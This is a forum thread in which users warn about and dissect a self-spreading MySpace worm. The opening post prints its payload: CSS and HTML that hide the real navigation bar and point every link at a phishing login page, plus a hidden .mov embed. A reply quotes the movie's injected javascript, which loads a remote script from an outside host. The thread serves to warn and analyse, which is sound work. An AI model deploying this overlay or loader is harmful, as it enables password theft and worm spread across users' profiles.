Urgent! New myspace exploit


Recommended Posts

anyone use myspace? just tonight on a bunch of profiles i see this quicktime .mov file appearing everywhere.

Well it automatically plays and as soon as i view my homepage it has appeared on mine. Anyways what it bassically does is change all the links on the myspace layouts to link to http://almobty.com/css/login.html which is obviously a spoofed myspace login page and MANY people will fall for this. this is obviously trying to steal passwords and isnt just a proof of concept like some past myspace exploits.

You can easily get rid of this by removing the code in your movies sections and removing the junk code in about me section which changes the links.

Im not coder but here is the code :(maybe someone could examine it?)

About Me:

<style type="text/css">
div table td font { display: none }
div div table tr td a.navbar, div div table tr td font { display: none }
.testnav { position:absolute; top: 136px; left:50%; _top: 146px }
</style><div style="z-index:5; background-color: #6698CB; margin-left:-400px; width: 800px" align="center" class="testnav"><div style=""><a href="http://almobty.com/css/login.html" target="" class="navbar">Home</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Browse</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Search</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Invite</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Film</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Mail</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Blog</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Favorites</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Forum</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Groups</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Events</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Videos</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Music</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Comedy</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Classifieds</a></div></div>

Movies

<div style="width: 1px; height: 1px; overflow: hidden; text-indent: -9999px"><embed allowScriptAccess="never" allowNetworking="internal" enableJSURL="false" src=http://almobty.com/css/piAF2iuswo.mov /></div>

The problem is as soon as you visit another profile with it, it comes back and its spreading like wildfire, so maybe remove and keep a low profile for the time being?

http://almobty.com appears to be a foreign website for contracting

Im running firefox 2 (so doesnt only effect IE)

Here is an example:

2005207505678579756_th.jpg

Edited by kaneso
  • Like 1
Link to comment
https://www.neowin.net/forum/topic/517166-urgent-new-myspace-exploit/
Share on other sites

Theres alot of this crap around lately to do with Myspace...thats why I have stayed away from them and been using Facebook...my mates myspace got accessed like that and he had all his friends deleted and messages sent to people saying obscene things...:(

Looking at the code, it is meant to redo the entire thing... basically redo your entire profile. But there is code in it that does nothing. I think someone modified a hack from the past, and it's gotten out of control.

That imageshack photo is kinda odd... eh?

it is a redirect exploit seemingly enough, the mov is used as means of spreading it adds the css code into your profile and uses it to phish you. That sall, and as far as the site it is being hosted on odds are it is a hacked server, what i would be worried about is if someone takes the spread code and uses it for something else. Thkn abotu it if they are able to get the code to edit yoru profile with a mov file just what else could be done with this

heh, all movies from myspace are down. myspace is crap anyway, why do people still use it ?

also, http://almobty.com DNS info:

Name Servers:

NS1.ALL-SOLUTION.NET

NS2.ALL-SOLUTION.NET

Technical Contact:

Almobty Co.

Al-Mobty Company for contracting (webmaster@deltawww.net)

+966.4658695

Fax: +966.4659242

Olaya Street, POBox 7705 Riyadh 11472,

Tel. 966-1-4658695 & Fax. 4659242

RIYADH, 11472

SA

Damn, thats a good hacker :)

part source of QT file:

<java script:void((function(){var e=window.document.createElement('script');e.setAttribute('src','http://www.cake.fi/images/js.js');window.document.body.appendChild(e);})());> T<>?orig...

Edited by n_K
  Rappy said:

Theres alot of this crap around lately to do with Myspace...thats why I have stayed away from them and been using Facebook...my mates myspace got accessed like that and he had all his friends deleted and messages sent to people saying obscene things...:(

lol

  n_K said:

heh, all movies from myspace are down. myspace is crap anyway, why do people still use it ?

also, http://almobty.com DNS info:

Name Servers:

NS1.ALL-SOLUTION.NET

NS2.ALL-SOLUTION.NET

Technical Contact:

Almobty Co.

Al-Mobty Company for contracting (webmaster@deltawww.net)

+966.4658695

Fax: +966.4659242

Olaya Street, POBox 7705 Riyadh 11472,

Tel. 966-1-4658695 & Fax. 4659242

RIYADH, 11472

SA

Damn, thats a good hacker :)

part source of QT file:

<java script:void((function(){var e=window.document.createElement('script');e.setAttribute('src','http://www.cake.fi/images/js.js');window.document.body.appendChild(e);})());> T<>?orig...

If you uses a text editor you can change the location of the script that it looks for and create your own custom script for your myspace page. I have download the js.js and looked at the code it just seem try to write over your formating and the it spams every 6 sec. to random id.

  superzz said:

If you uses a text editor you can change the location of the script that it looks for and create your own custom script for your myspace page. I have download the js.js and looked at the code it just seem try to write over your formating and the it spams every 6 sec. to random id.

yeh, but it writes the javascript through the quicktime file so open the quicktime .mov in notepad, look at the binary followed by "apple text writer plugin"

I got this, Does the users PC become infected with anything?

When I view my profile and click home I get re directed to

http://www.../images/login.html

Which doesnt go anywhere obviously, Has this thing installed anything on my PC?

Edited by Sawyer12
  • 1 month later...

This has actually been around for a while. I took note of it back in October and thought nothing of it. I even warned people about this .mov exploit and nobody really listened. I guess I should have posted something here, eh? :laugh: . This has happened to me twice now, and yes, I know how to get rid of it. But I'm tired of the insecure status of Myspace, and therefore have deleted my account.

I'm glad someone made this public, as it should be addressed to both Myspace and the people who use it.

Everyone who has contributed to this thread thus far has explained the majority of this exploit. There are several sources of the .mov and I don't think this will be fixed for a while. I suggest that you leave Myspace as soon as possible, people. I'm actually glad this happened to me more than once; now I won't be wasting any MORE time. :laugh:. It's only going to get worse from here on, and we can't really do anything about it.

Ah well. I guess that's how it goes... :p

This topic is now closed to further replies.
  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Posts

    • inception horn at max volume every time you copy.
    • Doesn't Windows have I build clipboard history? Win+V
    • Quantum computer does something for first time, creates "certified truly random" numbers by Sayan Sen Image by Ron Lach via Pexels A group of researchers from JPMorganChase, Quantinuum, Argonne National Laboratory, Oak Ridge National Laboratory, and The University of Texas at Austin has reached a major milestone in quantum computing. In a new paper published in Nature, they describe how they used a 56-qubit quantum computer to generate random numbers and then proved those numbers were truly random using powerful classical supercomputers. This achievement, called "certified randomness," could be useful in areas like cryptography, privacy, and fairness. Certified randomness means the numbers are not just unpredictable, but also freshly created and mathematically verified. Classical computers can’t do this on their own. They usually rely on hardware random-number generators, which can be tampered with. But with this new method, even if someone tried to interfere with the quantum computer, they wouldn’t be able to fake the randomness and still pass the certification. The idea behind the protocol was first proposed by Scott Aaronson, a computer science professor at UT Austin. He worked with his former postdoctoral researcher, Shih-Han Hung, to support the experimental team. “When I first proposed my certified randomness protocol in 2018, I had no idea how long I’d need to wait to see an experimental demonstration of it,” Aaronson said. “Building upon the original protocol and realizing it is a first step toward using quantum computers to generate certified random bits for actual cryptographic applications.” To carry out the experiment, the team accessed Quantinuum’s System Model H2-1 quantum computer over the internet. They used a method called random circuit sampling (RCS), which is known to be extremely hard for classical computers to simulate. The process had two main steps. First, the researchers sent the quantum computer a series of challenge circuits created from a small seed of randomness. The quantum computer had to solve these challenges by picking one of many possible answers at random. Then, in the second step, classical supercomputers checked the results to confirm the randomness was real. The team used several supercomputers with a combined performance of 1.1 × 10¹⁸ floating-point operations per second (1.1 ExaFLOPS) to certify 71,313 bits of entropy. This means they proved that the random bits couldn’t have been generated by classical methods, at least not under realistic conditions and assumptions. “This work marks a major milestone in quantum computing, demonstrating a solution to a real-world challenge using a quantum computer beyond the capabilities of classical supercomputers today,” said Marco Pistoia, Head of Global Technology Applied Research at JPMorganChase. Quantinuum had upgraded its H2 system to 56 qubits in June 2024. Thanks to its high accuracy and ability for any qubit to connect with any other, the system was able to perform RCS far better than previous machines. This upgrade, combined with Aaronson’s protocol, made the breakthrough possible. “Today, we celebrate a pivotal milestone that brings quantum computing firmly into the realm of practical, real-world applications,” said Dr. Rajeeb Hazra, President and CEO of Quantinuum. “These results in quantum computing were enabled by the world-leading U.S. Department of Energy computing facilities at Oak Ridge National Laboratory, Argonne National Laboratory and Lawrence Berkeley National Laboratory,” said Travis Humble, director of the Quantum Computing User Program at ORNL. While quantum computers have shown they can outperform classical ones in theory, turning that power into something useful has been a challenge. This experiment shows that quantum computers can now do something practical that classical computers simply can’t match. Source: University of Texas, Nature This article was generated with some help from AI and reviewed by an editor. Under Section 107 of the Copyright Act 1976, this material is used for the purpose of news reporting. Fair use is a use permitted by copyright statute that might otherwise be infringing.
  • Recent Achievements

    • First Post
      EzraNougat earned a badge
      First Post
    • One Month Later
      westDvina earned a badge
      One Month Later
    • Community Regular
      Bern@rd went up a rank
      Community Regular
    • Week One Done
      Joey Solo earned a badge
      Week One Done
    • Week One Done
      Vicente C Alves earned a badge
      Week One Done
  • Popular Contributors

    1. 1
      +primortal
      711
    2. 2
      +FloatingFatMan
      201
    3. 3
      ATLien_0
      163
    4. 4
      Xenon
      130
    5. 5
      wakjak
      110
  • Tell a friend

    Love Neowin? Tell a friend!